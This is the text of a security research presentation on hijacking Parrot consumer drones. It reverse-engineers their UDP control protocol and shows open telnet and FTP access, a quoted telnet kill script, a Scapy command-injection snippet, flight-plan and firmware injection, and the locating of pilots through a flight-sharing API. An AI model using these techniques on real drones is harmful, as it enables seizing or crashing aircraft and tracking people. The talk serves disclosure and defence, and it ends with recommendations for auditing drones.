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PARROT DRONES HIJACKING

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About this presentation



This presentation conducts a security analysis to several Parrot drones, focusing on exploiting attacks to hijack the drone without deauthenticating the original client. We want a smooth and untraceable attack: *“no evidences, no crime”*.

This work is not about:


- 802.11 encryption or authentication attacks
- TCP/IP, DHCP, DNS attacks
- Jamming attacks

In order to hijack the drone, the reverse engineering to the communications protocol between the drones and the client application (pilot) will be covered, as well as how these commands can be abused (injected) on to the drones from a third computer to hijack the drones.

About responsible disclosure



Some contacts from Parrot were first contacted on 2016, proposing a responsible disclosure.



December 2017



Press Release:

<https://www.ocu.org/organizacion/prensa/notas-de-prensa/2017/juguetes-conectados-201217>



A little bit of background: AR.Drone



AR.Drone is Bebop predecessor, was revealed at the International CES 2010 in Las Vegas (Version 1.0) and 2012 (Version 2.0).

“The onboard computer runs a Linux operating system, and communicates with the pilot through a self-generated Wi-Fi hotspot.

The onboard sensors include an ultrasonic altimeter, which is used to provide vertical stabilization up to 6 m (19 ft). The rotors are powered by 15 watt, brushless motor-powered by an 11.1 Volt lithium polymer battery. This provides approximately 12 minutes of flight time at a speed of 5 m/s (11 mph).“

https://en.wikipedia.org/wiki/Parrot_AR.Drone

A little bit of background: hacking AR.Drone




And one day, security analysts begin to study the AR.Drone (In)security

```
echo "Testing IP Connection"
if ! ( ping -c1 192.168.1.1 | grep from ); then
echo "IP Connection Failed"
else
echo "IP Connection Successful"
echo "Connecting to Telnet and sending kill command. Banzai!"
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p
/tmp/drone_empty.pid telnet 192.168.1.1
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo
BusyBox "kill -KILL `pidof program.elf`\n"
kill `pidof empty`
echo ""
echo "Kill command sent. Splash one drone"
echo ""
```



And finally, Wifi Pineapple Infusion to easily attack the drone:

Ardronepwn, by hak5darren → AR.Drone Seek and Destroy script. Connects to nearby AR.Drones and sends program kill command by telnet.



What has been published so far?



What about the bebop drone hacking past?

DefCon 23: *In the talk titled “**Knocking My Neighbor’s Kid’s Cruddy Drone Offline**” Michael Robison explained how to exploit a Parrot’s open Wi-Fi connection to control the drone. Anyone with the free Parrot app on a mobile device could be able to control the Parrot drone while it is flying. The principle of the attack is simple, in a first phase the attacker disconnects the legitimate control app from the drone, then he takes control with his app from another device.*



RISK ASSESSMENT / SECURITY & HACKTIVISM

Parrot drones easily taken down or hijacked, researchers demonstrate

Open telnet port, open Wi-Fi, root access, open season.



Steps to successfully hijack a drone:

- 1 **[What]** *Find a vulnerable drone*
- 2 **[How]** *Have the right tool*
- 3 **[Where]** *Locate the drone*




- 1 **[What]** *Find a vulnerable drone*
- 2 **[How]** *Have the right tool*
- 3 **[Where]** *Locate the drone*

Bebop drone: a new hope



#RSAC



```
telnet 192.168.42.1
Trying 192.168.42.1...
Connected to 192.168.42.1.
Escape character is '^]'.
```

```
BusyBox v1.20.2 (2014-11-13 19:37:00 CET) built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

```
/ #
```

Open
(Unencrypted)

Unauthenticated

Bebop drone: the O.S.




```
/ # uname -a
Linux BebopDrone-L029464 3.4.11 #3 SMP PREEMPT Fri Nov 14 10:43:37 CET 2014 armv7l GNU/Linux
/ #
/ # df -h
Filesystem                Size      Used Available Use% Mounted on
ubil:system                42.2M    37.8M      2.2M  94% /
dev                       162.4M         0    162.4M   0% /dev
tmp                       162.5M    36.0K    162.5M   0% /tmp
ubi0:factory                4.8M   100.0K      4.4M   2% /factory
ubi2:data                   9.0M    92.0K      8.4M   1% /data
ubi2:update                28.0M    24.0K    26.5M   0% /update
/dev/mmcblk0               7.2G   889.5M      6.3G  12% /data/ftp/internal_000
/ #
/ # dmesg
[ 0.000000] Booting Linux on physical CPU 0
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Linux version 3.4.11 (marjoriecoulin@FR-B-200-147) (gcc version 4.6.3 (Sourcery CodeBench Lite 2012.03-57) )
#3 SMP PREEMPT Fri Nov 14 10:43:37 CET 2014
[ 0.000000] CPU: ARMv7 Processor [412fc097] revision 7 (ARMv7), cr=10c53c7d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
[ 0.000000] Machine: Mykonos3 board
.....
```

```
# Start the Brushless DC Motor Controller
/etc/init.d/rcS_BLDC
```

```
...
# Add a symbolic link for each I2C sensor
```

```
ln -s /dev/i2c-0 /dev/i2c-p7mu
ln -s /dev/i2c-0 /dev/i2c-mt9f002
ln -s /dev/i2c-0 /dev/i2c-mt9v117
ln -s /dev/i2c-1 /dev/i2c-cypress
ln -s /dev/i2c-1 /dev/i2c-akm8963
ln -s /dev/i2c-1 /dev/i2c-ms5607
ln -s /dev/i2c-2 /dev/i2c-mpu6050
```

Parrot7 CPU
camera
vertical camera (CMOS Chip)
motors controller
magnetic field sensor
barometer
accelerometer, gyroscope



Motor
#1

Android
Linux
3.4.11

Accelerometer +
Gyroscope
MPU 6050

Magnetic
sensor AKM8963

Barometer
MS 5607

GNSS GN-87
(GPS GLONASS
Galileo)

ttyPA1

Wireless
Controller
Broadcom
bcm43526

eth0

Cypress Motor Controller


Ultrasound
sensor

Vertical
stabilization
camera

Motor
#3

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Bebop drone: apps inside the O.S.



```
/data # ps auxxxxxx
PID  USER    TIME  COMMAND
  1  root      0:02  init
...
 446 root      0:00  ckcmd -F /data/ftp/internal_000/ckcm/ckcm_04.bin
 458 root      0:00  {ckcmd_redirect.} /bin/sh /usr/bin/ckcmd_redirect.sh
 462 root      0:00  /usr/bin/awk -f /usr/bin/ckcmd_redirect.awk
 761 root      0:00  {DragonStarter.s} /bin/sh - /usr/bin/DragonStarter.sh -out2null
 771 root      7:17  //usr/bin/dragon-prog
```

"ARDrone3" :

"dragon.conf" file:

```
{
  "absolute_control" : false,
  "auto_white_balance" : 0,
  "exposure" : 0.0,
  "hull_protection" : false,
  "max_altitude" : 11.89999961853027,
  "max_rotation_speed" : 147.2222290039062,
  "max_tilt" : 20.0,
  "max_vertical_speed" : 1.597222208976746,
  "net_outdoor" : 1,
  "picture_format" : 2,
  "saturation" : 0.0,
  "timelapse_enabled" : false,
  "timelapse_interval" : 1.0,
  "video_autorecord" : true,
  "wifi_autoselect_mode" : "5GHz",
  "wifi_band" : 1,
  "wifi_channel" : 48,
  "wifi_settings_outdoor" : false
```

"system.conf" file:

```
"General" :
{
  "blackbox_enable" : false,
  "navdata_enable" : false
},
"network" :
{
  "auto_country" : 1,
  "country_code" : "ES",
  "default_c2dport" : 54321,
  "default_d2cport" : 43210,
  "product_name" : "BebopDrone-L029464",
  "service_type" : "_ar sdk-0901._udp"
}
```

The pilot: "FreeFlight3"



JSON file exchange:
Controller Name and
Type



```
Wireshark - Follow TCP Stream (tcp.stream eq 0) - sesion_22_abril_ipad-limpio

{ "d2c_port": 54321,
  "controller_name": "com.parrot.freeflight3",
  "controller_type": "iPAd" }. { "status": 0, "c2d_port": 54321, "arstream_fragment_size": 1000, "arstream_fragment_maximum_number": 128,
  "arstream_max_ack_interval": 0, "c2d_update_port": 51, "c2d_user_port": 21 }.
```

Wireshark - Protocol Hierarchy Statistics - sesion_22_abril_ipad-limpio

Protocol	Percent Packets	Packets
Frame	100.0	12248
IEEE 802.11 wireless LAN	100.0	12248
Malformed Packet	0.0	1
Logical-Link Control	100.0	12247
Internet Protocol Version 4	100.0	12247
User Datagram Protocol	95.1	11651
Data	95.1	
Transmission Control Protocol	4.8	583
FTP Data	0.2	27
File Transfer Protocol (FTP)	2.0	245
Data	0.0	2
Internet Group Management Protocol	0.0	1
Internet Control Message Protocol	0.1	12

95% is
UDP Data

FTP
browsing

```
Wireshark - Follow TCP Stream (tcp.stream eq 1) - sesion_22_

220 Operation successful
USER anonymous
230 Operation successful
PWD
257 "/"
CWD internal_000
250 Operation successful
CWD /
250 Operation successful
CWD /
250 Operation successful
CWD internal_000
250 Operation successful
EPSV
229 EPSV ok (|||42987|)
TYPE A
200 Operation successful
LIST
150 Directory listing
226 Operation successful
CWD /
250 Operation successful
CWD internal_000/Bebop_Drone/academy/
250 Operation successful
CWD /
250 Operation successful
CWD /
250 Operation successful
CWD internal_000
250 Operation successful
CWD Bebop_Drone
250 Operation successful
CWD academy
250 Operation successful
EPSV
229 EPSV ok (|||56143|)
LIST
150 Directory listing
226 Operation successful
QUIT
221 Operation successful
```


Bebop drone: UDP data analysis



```
▷ Frame 24: 84 bytes on wire (672 bits), 84 bytes captured (672 bits)
▷ IEEE 802.11 QoS Data, Flags: .....T
▷ Logical-Link Control
▷ Internet Protocol Version 4, Src: 192.168.42.3, Dst: 192.168.42.1
▷ User Datagram Protocol, Src Port: 59283 (59283), Dst Port: 54321 (54321)
◀ Data (22 bytes)
```

Data: 040b011600000000040100 323031352d30342d323100
[Length: 22]

0000	88 01 3c 00 a0 14 3d 66 6b 65 04 1e 02 2f 66 75	..<...=f ke..R/fu
0010	a0 14 3d 66 6b 65 70 0a 00 00 aa a0 03 00 00 00	..=fkep.
0020	08 00 45 00 00 32 3a f4 00 00 40 1e 0a 72 c0 a8	..E..2:.. ..@.jr..
0030	2a 03 c0 a8 2a 01 e7 93 d4 31 00 1e 71 7e 04 0b	*...*... 1..q~..
0040	01 16 00 00 00 00 04 01 00 32 30 31 35 2d 30 34 2015-04
	2d 32 31 00	-21.

ASCII text, pilot sends date to drone

ASCII zone; packet payload

Sent from the pilot to the drone with **date**:

04 0b 01 16 00 00 00 00 04 01 00 32 30 31 35 2d 30 34 2d 32 33 00

Drone response (acknowledge):

04 7e 01 16 00 00 00 00 05 04 00 32 30 31 35 2d 30 34 2d 32 33 00

Sent from the pilot to the drone with **time**:

04 0b 02 18 00 00 00 00 04 02 00 54 31 36 30 34 32 38 2b 30 32 30 30 00

Drone response (acknowledge):

04 7e 02 18 00 00 00 00 05 05 00 54 31 36 30 34 32 38 2b 30 30 30 30 00

Bebop drone: UDP data analysis



Another source of information is needed in order to correlate our captured information from Wireshark with the drone internal states, logs:

```
ckcmd -F /data/ftp/internal_000/ckcm/ckcm_04.bin
```

And finally, we found the date and time exchange:

```
dragon-prog/NtwkDiscConnect.NETWORK.....Network stream started
dragon-prog/NtwkDiscConnect.COMMANDS.....Starting commands stream
dragon-prog/NtwkDiscConnect.COMMANDS.....Commands stream started

dragon-prog/CmdsRecv.COMMANDS....$.1Got Request : Set current date : 2015-04-23 (10)
dragon-prog/Behaviour.COMMANDS....$.)Send response: current date <2015-04-23>
dragon-prog/CmdsRecv.COMMANDS....$.3Got Request : Set current time : T161942+0200 (12)
dragon-prog/Behaviour.COMMANDS....$.*Send response: current time <T161942+0000>
```

Bebop drone: UDP data analysis



Once the commands have been correlated with internal states and log, is clear to identify the frame's structure:

Frame from pilot to drone sending date:	04 0b 01 16 00 00 00 00 04 01 00	32 30 31 35 2d 30 34 2d 32 33 00
Drone response:	04 7e 01 16 00 00 00 00 05 04 00	32 30 31 35 2d 30 34 2d 32 33 00
Frame from pilot to drone sending time:	04 0b 02 18 00 00 00 00 04 02 00	54 31 36 30 34 32 38 2b 30 32 30 30 00
Drone response:	04 7e 02 18 00 00 00 00 05 05 00	54 31 36 30 34 32 38 2b 30 30 30 30 00
Frame from pilot to drone sending "all settings":	04 0b 03 0b 00 00 00 00 02 00 00	
Drone response to "all settings": Product Name:	04 7e 03 1e 00 00 00 00 03 02 00	42 65 62 6f 70 44 72 6f 6e 65 2d 4c 30 32 39 34 36 34 00
Drone response to "all settings": High serial number:	04 7e 04 15 00 00 00 00 03 04 00	50 49 30 34 30 33 30 36 41 00
Drone response to "all settings": Low serial number:	04 7e 05 15 00 00 00 00 03 05 00	41 34 4c 30 32 39 34 36 34 00
Drone response to "all settings": Version HW:	04 7e 06 18 00 00 00 00 03 03 00	31 2e 33 32 2e 30 00 48 57 5f 31 30 00
Drone response to "all settings": Common_SettingsSendAutoCountry	04 7e 07 0c 00 00 00 00 03 07 00	1
Drone response to "all settings": Country Code	04 7e 08 0e 00 00 00 00 03 06 00	
Drone response to "all settings": Common_SettingsSendOutdoor	04 7e 09 17 00 00 00 01 06 00 00	66 66 66 3f 00 00 00 3f 00 00 16 43 02 7f 05 17 00 00 00 01 04 06 00 f1 92 3b bc 74 58 85 bb 81 c2 1a bd
.....
Drone response to "all settings": "GPS version :"	04 7e 18 31 00 00 00 01 10 01 00	43 31 34 31 30 34 30 33 46 00
Drone response "End of Setting List":	04 7e 19 0b 00 00 00 00 03 00 00	
Frame from pilot to drone sending "all states"	04 0b 04 0b 00 00 00 00 04 00 00	

Bebop drone: statistical analysis



Moving forward with more captures, we look for other than ^04 frames:

```
6 D->C 01:8b
158 C->D 01:fe
50 C->D 02:00
95 D->C 02:00
35 D->C 02:01
90 C->D 02:01
1852 C->D 02:0a
840 D->C 02:7f
2 C->D 04:0b
390 D->C 04:7e
```



Num. Frames	Direction	Frame 2 first bytes
6	D->C	01:8b
158	C->D	01:fe
50	C->D	02:00
95	D->C	02:00
35	D->C	02:01
90	C->D	02:01
1852	C->D	02:0a
840	D->C	02:7f
2	C->D	04:0b
390	D->C	04:7e

Analysis of UDP data in text mode (tshark -r in.file -T pdml > /your_text.file)
made easier:

```
6418: C->D 02:0a:4c:0d:00:00:00:01:01:00:00:00:00
6419: D->C 04:7e:7d:0c:00:00:00:81:03:00:00:06
6420: C->D 01:fe:7f:08:00:00:00:7d
6421: D->C 02:7f:77:13:00:00:00:01:04:08:00:00:00:80:df:99:ed:3f
6424: C->D 02:0a:4d:14:00:00:00:01:00:02:00:00:00:00:0a:00:00:00:00:00
6461: D->C 02:7f:78:0d:00:00:00:01:19:00:00:00:00
6462: C->D 02:0a:4e:0d:00:00:00:01:01:00:00:00:00
6463: C->D 02:0a:4f:14:00:00:00:01:00:02:00:00:00:00:0a:00:00:00:00:00
6464: C->D 02:0a:50:0d:00:00:00:01:01:00:00:00:00
```

Bebop drone: linux client



ARDroneSDK3 on github allow us to compile Linux client, source code:

```
#define BD_NET_CD_NONACK_ID      10 (a)
#define BD_NET_CD_ACK_ID        11 (b)
#define BD_NET_CD_EMERGENCY_ID  12 (c)
#define BD_NET_CD_VIDEO_ACK_ID  13 (d)
#define BD_NET_DC_NAVDATA_ID    127 (7f)
#define BD_NET_DC_EVENT_ID      126 (7e)
#define BD_NET_DC_VIDEO_DATA_ID 125 (7d)
```



02	0a	NET CD NONACK ID
03	0d	NET CD VIDEO ACK ID
04	0b	NET CD ACK ID
04	0c	NET CD EMERGENCY ID
01	fe	CD ACK ID
02	7f	NET DC NAVDATA ID
03	7d	NET DC VIDEO DATA ID
04	7e	NET DC EVENT ID
01	8b	DC ACK EVENT ID

Client to Drone: CD
Drone to Client: DC

Testing with source code allow to identify piloting commands “02 0a”
(Non Ack):

```
deviceManager->dataPCMD.flag = 1;

deviceManager->dataPCMD.pitch = 50;
deviceManager->dataPCMD.pitch = -50;
deviceManager->dataPCMD.roll = 50;
deviceManager->dataPCMD.roll = -50;
deviceManager->dataPCMD.yaw = 50;
deviceManager->dataPCMD.gaz = 50;

deviceManager->dataCam.tilt += 2;
deviceManager->dataCam.pan += 2;
```

ARDroneSDK3: commands coding



Drone flying states:

flying state : LANDED (0)
flying state : TAKEOFF (1)
flying state : HOVERING (2)
flying state : FLYING (3)
flying state : LANDING (4)
flying state : EMERGENCY (5)
flying state : MAGNETO CALIBRATION

Bebop		
02	0a	NET CD NONACK ID
03	0d	NET CD VIDEO ACK ID
04	0b	NET CD ACK ID
04	0c	NET CD EMERGENCY ID
01	fe	CD ACK ID
02	7f	NET DC NAVDATA ID
03	7d	NET DC VIDEO DATA ID
04	7e	NET DC EVENT ID
01	8b	DC ACK EVENT ID

FamilyByte:TypeByte:CounterByte:LengthBytes

04 7e 1a 0c00

01 8b 03 0800

02 0a 10 1400

InstructionBytes & Data

00 00 00 05 01 00 2c

00 00 03

00000100020000000003200000000000

San Francisco, november 2015, Parrot announces the Bebop 2



New flying drone 'for everybody' lands in S.F.

Jon Swartz, USA TODAY Published 3:29 p.m. ET Nov. 17, 2015 | Updated 1:08 a.m. ET Nov. 18, 2015



SOURCE: <https://www.usatoday.com/story/tech/2015/11/17/new-flying-drone-everybody-lands-sf/75780614/>

Bebop2 vs Bebop



- Based on ARDroneSDK3, so **common communications protocol**.
- Still **ARDrone3**, Board: **Milos**, Dragon version **3.0.2**
- Kernel **3.4.11+**, ARMv7 Processor rev7
- **Telnet** is **not open by default** (pressing on/off button), but still **ftp** is opened.
- **4** New parameters for **video streaming**: client&server stream and control ports.
- New GNSS chip: **Ublox Neo 8M GPS**

Las Vegas 2016, Parrot announces Disco



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Jan 04, 2016

CES 2016 – A new drone: Parrot DISCO

691
SHARES



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
SOURCE: <http://blog.parrot.com/2016/01/04/ces-2016-new-drone-parrot-disco-prototype/>

Disco: the motherboard



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Evinrude Board



ARDroneSDK3: Disco, Bebop & Jumping



Bebop		
02	0a	NET CD NONACK ID
03	0d	NET CD VIDEO ACK ID
04	0b	NET CD ACK ID
04	0c	NET CD EMERGENCY ID
01	fe	CD ACK ID
02	7f	NET DC NAVDATA ID
03	7d	NET DC VIDEO DATA ID
04	7e	NET DC EVENT ID
01	8b	DC ACK EVENT ID

Jumping Race		
02	0a	NET CD NONACK ID
03	0d	NET CD VIDEO ACK ID
04	0b	NET CD ACK ID
01	fe	CD ACK ID
02	7f	NET DC NAVDATA ID
03	7d	NET DC VIDEO DATA ID
04	7e	NET DC EVENT ID
01	8b	DC ACK EVENT ID

Bebop2		
02	0a	NET CD NONACK ID
04	0b	NET CD ACK ID
01	fe	CD ACK ID
04	0c	NET CD EMERGENCY ID
02	7f	NET DC NAVDATA ID
04	7e	NET DC EVENT ID
01	8b	DC ACK EVENT ID
80	60	NET DC VIDEO DATA ID
	e0	

Disco		
02	0a	NET CD NONACK ID
04	0b	NET CD ACK ID
01	fe	CD ACK ID
04	0c	NET CD EMERGENCY ID
02	7f	NET DC NAVDATA ID
04	7e	NET DC EVENT ID
01	8b	DC ACK EVENT ID
80	60	NET DC VIDEO DATA ID
	e0	

Drones and boards



Drone	Announcement Date	Board	Board Rev	OS	Processor	BusyBox version
<i>Jumping Sumo</i>	CES 2014	sip6	HW 7	Linux 2.6.36	ARM926EJ-S rev 5 (v5l)	v1.20.2
<i>Bebop</i>	CES 2015	mykonos3	PCB rev 7, HW 10	Linux 3.4.11	ARMv7 Processor, Mali400 GPU	v1.20.2
<i>Bebop2</i>	nov 2015	milos	PCB rev 2, HW 13	Linux 3.4.11+	ARMv7 Processor, Mali400 GPU	v1.20.2
<i>Disco</i>	CES 2016	evinrude	PCB rev 4, HW 4	Linux 3.4.11+	ARMv7 Processor, Mali400 GPU	v1.20.2
<i>SkyController2</i>		mpp	NA	Linux 3.4.11+	ARMv7 Processor rev 7 (v7l)	v1.25.0





- 1 *Find a vulnerable drone*
- 2 **[How]** ***Have the right tool***
- 3 *Locate the drone*

This is NOT all about manual flight mode



4 Data (34 bytes)
Data: 040b0822000000000b0000666c69676874506c616e2e6d61...
[Length: 34]

0000	a0 14 3d a0 7f e5 a0 88 69 3d 3b 69 08 00 45 00	..=.... i=i;..E.
0010	00 3e 00 01 40 00 00 11 65 35 c0 a8 2a 27 c0 a8	..>.@.@. e5..'.'
0020	2a 01 aa 74 d4 31 00 2a b8 f8 04 0b 08 22 00 00	*..t.1.*"
0030	00 00 0b 00 00 66 6c 69 67 68 74 50 6c 61 6e 2efli ghtPlan.
0040	6d 61 76 6c 69 6e 6b 00 00 00 00 00 00 00 00	mavlink.

start GPS:

04:0b:XX:22:00:00:00:00:0b:00:00:66:6c:69:67:68:74:50:6c:61:6e:2e:6d:61:76:6c:69:6e:6b:00:00:00:00:00:00

GPS - PAUSE:

04:0b:XX:0b:00:00:00:00:0b:01:00

GPS - STOP:

04:0b:XX:0b:00:00:00:00:0b:02:00

ASCII filename


This is NOT all about manual flight mode (ii)



```
Starting Nmap 6.40 ( http://nmap.org ) at 2016-02-04 10:22 CET
Nmap scan report for 192.168.42.1
Host is up (0.014s latency).
Not shown: 96 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
23/tcp    open  telnet
51/tcp    open  la-maint
61/tcp    open  unknown
MAC Address: 
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds
```

Autonomous mode (GPS) uses plain text file (*flightPlan.mavlink*) with MAVLINK Protocol Waypoints, transferred via ftp to **port 61**. Example file:

QGC WPL 120											
0	0	3	178	0.000000	6.000000	-1.000000	0.000000	0.000000	0.000000	0.000000	1
1	0	3	16	0.000000	5.000000	0.000000	269.220001	XXXXXXXXXX	-XXXXXX	44.000000	1
2	0	3	178	0.000000	5.000000	-1.000000	0.000000	0.000000	0.000000	0.000000	1
3	0	3	16	0.000000	5.000000	0.000000	92.610001	XXXXXXXXXX	-XXXXXX	44.000000	1
4	0	3	16	0.000000	5.000000	0.000000	272.609985	XXXXXXXXXX	-XXXXXX	44.000000	1
5	0	3	21	0.000000	0.000000	0.000000	272.609985	XXXXXXXXXX	-XXXXXX	44.000000	1



Firmware update injection



```
Starting Nmap 6.40 ( http://nmap.org ) at 2016-02-04 10:22 CET
Nmap scan report for 192.168.42.1
Host is up (0.014s latency).
Not shown: 96 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
23/tcp    open  telnet
51/tcp    open  la-maint
61/tcp    open  unknown
MAC Address: 
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds
```

New firmware updates are transferred
via ftp to **port 51**.

start UPGRADE/DOWNGRADEcommand:
04:0b:XX:0b:00:00:00:00:04:03:00



Process:

- md5sum check integrity: upload md5 check
- Upload new firmware (PLF file)
- Send raw command

```
...
STOR md5_check.md5
150 Ok to send data
226 Operation successful
SIZE md5_check.md5
213 32
REST 0
350 Operation successful
SIZE md5_check.md5
213 32
EPSV
229 EPSV ok (|||49863||)
STOR bebop2_update.plf.tmp
150 Ok to send data
226 Operation successful
SIZE bebop2_update.plf.tmp
213 23581200
REST 0
350 Operation successful
SIZE bebop2_update.plf.tmp
213 23581200
CWD /
250 Operation successful
RNFR /bebop2_update.plf.tmp
350 Operation successful
RNTD /bebop2_update.plf
250 Operation successful
QUIT
221 Operation successful
```

Packet injection automation



Have you ever heard about Python? Of course ! And Scapy ?

```
Terminal - root@babieca: /opt/DRON
Archivo  Editar  Ver  Terminal  Pestañas  Ayuda

Please give me your command ...

w - Forward
a - Turn left
s - Backwar
d - Turn right

j - Jump
k - Jump&Rolling
l - Pendulo
m - Normal

u - Upgrade

p - Photo

i - Wifi 2.4Ghz
o - Wifi 5Ghz

x - Exit
```

```
Terminal - root@babieca: /opt/DRON
Archivo  Editar  Ver  Terminal  Pestañas  Ayuda

Please give me your command ...

w - Move up          t - Move Forward
a - Turn left        g - Move Backward
s - Move down        f - Move Left
d - Turn right       h - Move Right

j - Takeoff
l - Landing

r - Jump Acrobacy

p - Photo

e - Emergency Stop

x - Exit
```



```
a=IP(dst="192.168.2.1", src="X", flags=0x02)
b=UDP(sport=Y, dport=54321)
b.payload= '\x04\x0b\xZZ\x0f\x00.....'
c=a/b
send(c)
```









- 1 *Find a vulnerable drone*
- 2 *Have the right tool*
- 3 **[Where]** ***Locate the drone***

Locating drones



“Drone Academy” feature allow users to share their flights.

Communication from app to server (API) is done using HTTP. Some requests are unauthenticated, but the authenticated ones use Basic Digest, so credentials can be sniffed easily.



Source	Destination	Protocol	Length	Info
172.26.0.230	193.1[REDACTED]	HTTP	206	GET /api/profile/ HTTP/1.1
193.1[REDACTED]	172.26.0.230	HTTP	1196	HTTP/1.1 200 OK (application/json)
172.26.0.230	193.1[REDACTED]	HTTP	206	GET /api/profile/ HTTP/1.1
193.1[REDACTED]	172.26.0.230	HTTP	1196	HTTP/1.1 200 OK (application/json)
172.26.0.230	193.1[REDACTED]	HTTP	212	GET /api3/pilots/640064 HTTP/1.1
193.1[REDACTED]	172.26.0.230	HTTP	336	HTTP/1.1 301 MOVED PERMANENTLY (text/html) (text/html)
172.26.0.230	193.1[REDACTED]	HTTP	213	GET /api3/pilots/640064/ HTTP/1.1
193.1[REDACTED]	172.26.0.230	HTTP	912	HTTP/1.1 200 OK (application/json)
172.26.0.230	193.1[REDACTED]	HTTP	218	GET /api3/clusters/area-clusters/40.646362/-4.126048/
193.1[REDACTED]	172.26.0.230	HTTP	1372	HTTP/1.1 200 OK (application/json)

Locating drones (ii)



JSON response with flight details (requires authentication):

```
{ "version": "1.2", "software_version": "1.4.1", "hardware_version": "HW_04", "date": "2017-09-25T120419+0200", "product_id": 2318, "serial_number": "PI040381[REDACTED]", "product_name": "Disco", "uuid": "143F863ED3911[REDACTED]", "run_origin": 0, "controller_model": "Skycontroller 2 v1.0.6", "controller_application": "PI040409[REDACTED]", "product_style": -2, "product_accessory": -2, "gps_available": true, "gps_latitude": 40.429829, "gps_longitude": -3.707025, "crash": 0, "jump": null, "run_time": 0, "total_run_time": 4715, "details_headers": [ "time", "battery_level", "controller_gps_longitude", "controller_gps_latitude", "flying_state", "alert_state", "wifi_signal", "product_gps_available", "product_gps_longitude", "product_gps_latitude", "product_gps_position_error", "product_gps_sv_number", "speed_vx", "speed_vy", "speed_vz", "pitot_speed", "angle_phi", "angle_theta", "angle_psi", "altitude", "flip_type", "speed" ], "details_data": [ [ 26, 92,
```

JSON response with flights information in a particular area (non authenticated):

```
"gps_longitude":-122.457507,"gps_latitude":37.765428},"default":{"count":11,"gps_longitude":-122.456273,"gps_latitude":37.765562},"gps":{"count":6,"gps_longitude":-122.457507,"gps_latitude":37.765428},"minidrone":{"count":5,"gps_longitude":-122.454793,"gps_latitude":37.765722},"gps_latitude":37.765562,"gps_longitude":-122.456273},{ "index": "374545N12227300", "zoom": 16, "count": 41, "bebop": { "count": 41, "gps_longitude": -122.458691, "gps_latitude": 37.766394, "default": { "count": 41, "gps_longitude": -122.458691, "gps_latitude": 37.766394, "gps": { "count": 40, "gps_longitude": -122.458691, "gps_latitude": 37.766388, "gps_longitude": 37.766394, "gps_longitude": -122.458691, "index": "374545N12227450", "zoom": 16, "count": 0, "default": { "count": 70, "gps_longitude": -122.464964, "gps_latitude": 37.765538, "gps": { "count": 36, "gps_longitude": -122.464615, "gps_latitude": 37.766248, "media": { "count": 1, "gps_longitude": -122.464239, "gps_latitude": 37.765931, "url": "https://www.youtube.com/watch?v=MkSZB6iFz-o" }, "video": { "count": 1, "gps_longitude": -122.464239, "gps_latitude": 37.765931, "url": "https://www.youtube.com/watch?v=MkSZB6iFz-o" }, "index": "374545N12228000", "zoom": 16, "count": 0, "default": { "count": 39, "gps_longitude": -122.46884, "gps_latitude": 37.765638, "gps": { "count": 1, "gps_longitude": -122.466822, "gps_latitude": 37.763862, "index": "374545N12228300", "zoom": 16, "count": 0, "default": { "count": 4, "gps_longitude": -122.477785, "gps_latitude": 37.763979, "index": "374545N12228450", "zoom": 16, "count": 0, "default": { "count": 2, "gps_longitude": -122.479634, "gps_latitude": 37.765489, "gps": { "count": 1, "gps_longitude": -122.479513, "gps_latitude":
```


Locating drones (iii)



Using the previous requests, a Python tool can locate drones in a particular area.




Green marker: Bebop drone flight

Blue marker: Flight contains video



San Francisco Botanical Garden, information updated to 14 February 2018

Locating drones




By correlating flights information, people's locations could be traced, locate their home address and even deanonymize.

SFA parrot drones



*“Locate
drones all
around the
world
remotely” ...*

Done !!



San Francisco Bebop (green) and Jumping Race (red) flights, information updated to 14 February 2018

Drone hijack process



Steps to successfully hijack a drone:

- 1 [What] *Find some vulnerable drones* ✓
- 2 [How] *Have the right tool* ✓
- 3 [Where] *Locate the drone* ✓



- If you or your organization use drones, next week you should:
 - Identify drones using an open Wi-Fi
 - Analyze services exposed in that Wi-Fi (telnet, ftp, etc.), and check default user privileges and if authentication exists
 - Check if drone manufacturer's use any web services, where your flights data could be publicly accessed or could be exposed to a non-authenticated user
- Within six months you should:
 - Analyze communications traffic captures between the drone and the pilot; and discover the protocols being involved (HTTPS, TCP, UDP, etc.)
 - Use the RE methodology proposed to identify commands and whenever the drone authenticate any potential control command

Thank you



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Founder, Ethon Shield

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